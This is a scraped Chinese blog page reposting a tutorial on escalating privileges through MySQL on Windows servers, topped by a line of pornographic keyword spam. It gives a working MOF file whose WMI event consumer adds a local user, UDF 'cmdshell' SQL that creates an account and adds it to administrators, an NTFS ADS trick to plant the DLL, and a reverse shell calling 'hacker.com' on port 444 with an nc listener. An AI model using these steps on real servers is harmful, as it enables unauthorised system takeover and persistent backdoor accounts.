日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

mysql 提权方法_mysql常用的提权方法

發(fā)布時間:2025/3/20 数据库 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 mysql 提权方法_mysql常用的提权方法 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

一,利用MOF提權(quán)

Windows 管理規(guī)范 (WMI) 提供了以下三種方法編譯到 WMI 存儲庫的托管對象格式 (MOF) 文件:

方法 1: 運行 MOF 文件指定為命令行參數(shù)將 Mofcomp.exe 文件。

方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。

方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夾的 MOF 文件。

Microsoft 建議您到存儲庫編譯 MOF 文件使用前兩種方法。也就是運行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。

第三種方法僅為向后兼容性與早期版本的 WMI 提供,并因為此功能可能不會提供在將來的版本后,不應使用。

操作步驟

1,通過webshell上傳 nullevt.mof 文件到可寫目錄,nullevt.mof 代碼如下:

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter

{

EventNamespace = "Root\\Cimv2";

Name = "filtP2";

Query = "Select * From __InstanceModificationEvent "

"Where TargetInstance Isa \"Win32_LocalTime\" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as $Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user demon 123456 /add\")";

};

instance of __FilterToConsumerBinding

{

Consumer = $Consumer;

Filter = $EventFilter;

};

2,通過SQL語句 讀取nullevt.mof,然后導出到 mof 目錄下

select load_file('C:/recycler/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

二,利用UDF提權(quán)

udf提權(quán)這是最常見的提權(quán)方式了,但是往往在執(zhí)行過程中老是遇到"Can't open shared library"的情況,這里我們可以利用NTFS ADS流來解決這個問題。

1、最常見的是直接使用udf.php此類的工具來執(zhí)行udf提權(quán),具體如下。

連接到mysql以后,先導出udf.dll到 c:\windows\system32目錄下。

2、創(chuàng)建相應的函數(shù)并執(zhí)行命令,具體如下:

create function cmdshell returns string soname 'udf.dll';-- 創(chuàng)建函數(shù)

select cmdshell('net user demon 123456 /add');

select cmdshell('net localgroup administrators demon /add');

drop function cmdshell; -- 刪除函數(shù)

delete from mysql.func where name='cmdshell' -- 刪除函數(shù)

3、某些情況下,我們會遇到Can't open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,

但是默認情況下plugin不存在,怎么辦? 還好有大牛研究出了利用NTFS ADS流來創(chuàng)建文件夾的方法

select @@basedir; -- 查找到mysql的目錄

select 'It is dll' into dumpfile 'C:\\Program Files\\phpstudy\\MySQL\\lib::$INDEX_ALLOCATION'; -- 利用NTFS ADS創(chuàng)建lib目錄

select 'It is dll' into dumpfile 'C:\\Program Files\\phpstudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; -- 利用NTFS ADS創(chuàng)建plugin目錄

當默認udf導出失敗時,可以嘗試用手動方法導出udf進行提權(quán),具體方法如下:

先上傳udf.dll,連接到mysql,再按下面步驟執(zhí)行sql語句。

create table zz(abc longblob);//注意列類型為longblob

insert into zz values(load_file('C:\\udf.dll')); //上傳的udf.dll路徑

select * from zz into dumpfile 'C://WINDOWS//system32//udf.dll'; //導入的目標地址 mysql 5.0以上要導入到系統(tǒng)目錄

Create Function MyCmd returns string soname 'udf.dll'; //這里如果導出的路徑為C://WINDOWS//system32//udf2.dll' 可以將后面改成udf2.dll

select MyCmd (' net user ');

drop function MyCmd;

刪除udf.dll 的方法,先刪除生成的函數(shù)

Drop function MyCmd;

三,反彈 shell 提權(quán)

假如我們掃到了一個mysql的root弱密碼,并且可以外連,但是服務器上面的網(wǎng)站又無法Getshell,這時我們怎么辦呢?

1、利用mysql客戶端工具連接mysql服務器,然后執(zhí)行下面的操作。

mysql.exe -h target.com -uroot -p password

mysql> \. c:\mysql.txt

mysql> select backshell("hacker.com",444);

2、本地監(jiān)聽你反彈的端口

nc.exe -vlp 444

成功后,你將獲得一個system權(quán)限的cmdshell,其實這個也是利用的UDF提權(quán)。

總結(jié)

以上是生活随笔為你收集整理的mysql 提权方法_mysql常用的提权方法的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。